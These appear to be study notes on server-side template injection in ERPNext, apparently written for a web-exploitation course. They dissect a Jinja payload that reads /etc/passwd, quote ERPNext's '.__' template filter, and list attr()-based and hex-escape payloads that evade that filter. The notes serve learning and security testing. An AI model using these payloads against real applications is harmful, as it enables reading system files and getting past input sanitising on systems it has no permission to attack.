9. ERPNext Authentication Bypass and Server Side Template Injection

R3zk0n · October 2, 2025

Contents

    Templating Engines

    • Render a static file dynamically based on the context of the request and user.
    • A templating engine leverages delimiters so developers can tell the engine where a template block starts and ends.
    • Cross-site scripting vulnerabilities might also hint at an SSTI vulnerability since user-provided code is being entered into an unsanitized field.
    • Common Jinja Payload:
      ## Python 2.7 only
      {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} (Replace mro[1] if using Python 3)
      

    Dissecting the Jinja Payload

    • ’’ –> Empty String
    • class –> Class attribute, which returns str (string)
    • mro –> Method Resolution Order
      • A tuple of classes that are considered when looking for base classes during method resolution.
      • In Python, a class can inherit from other classes.
      • The mro attribute returned a tuple of classes in the order that an attribute would be searched for.
        • (<class '__main__.Strawberry'>, <class '__main__.Fruit'>, <class '__main__.Food'>, <class 'object'>)
      • As of Python 3, whenever a class is created, the built-in object class is inherited.
    • subclasses() –> Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.
    • subclasses()[40] –> The file subclass with a read function
    • (‘/etc/passwd’).read()

    Discovering SSTI Vulnerability

    • In the Email template: {{''.__class__}} –> Results in an ‘Illegal Template’ error
    • Investigate source code by searching get_email_template to find relevant function
    • Set breakpoint at render_template() as this is suspected to be returning the ‘Illegal Template’ error
    • Jinja filter in render_template():
      if safe_render and ".__" in template:
        throw("Illegal template")
      
    • Another vulnerability exists in Address template

    SSTI Filter Evasion

    • https://jinja.palletsprojects.com/en/3.0.x/templates/
    • Using Jinja filters and the attr() function to bypass filters:
      {% set foo = "foo" %}
      {% set bar = "bar" %}
      {% set foo.bar = "Just another variable" %}
      {{ foo|attr(bar) }}
      
    {% set string = "ssti" %}
    {% set class = "__class__" %}
    {% set mro = "__mro__" %}
    {% set subclasses = "__subclasses__" %}
    
    {{ string|attr(class) }}
    # Should return the <class='str'> object
    
    • Resources:
      • https://0x00sec.org/t/explaining-server-side-template-injections/16297
      • https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f
      • https://0day.work/jinja2-template-injection-filter-bypasses/
    • {{()|attr('\x5f\x5fclass\x5f\x5f')}} for <class=’tuple’>
    • {{''|attr('\x5f\x5fclass\x5f\x5f')}} for <class=’str’>

    Twitter, Facebook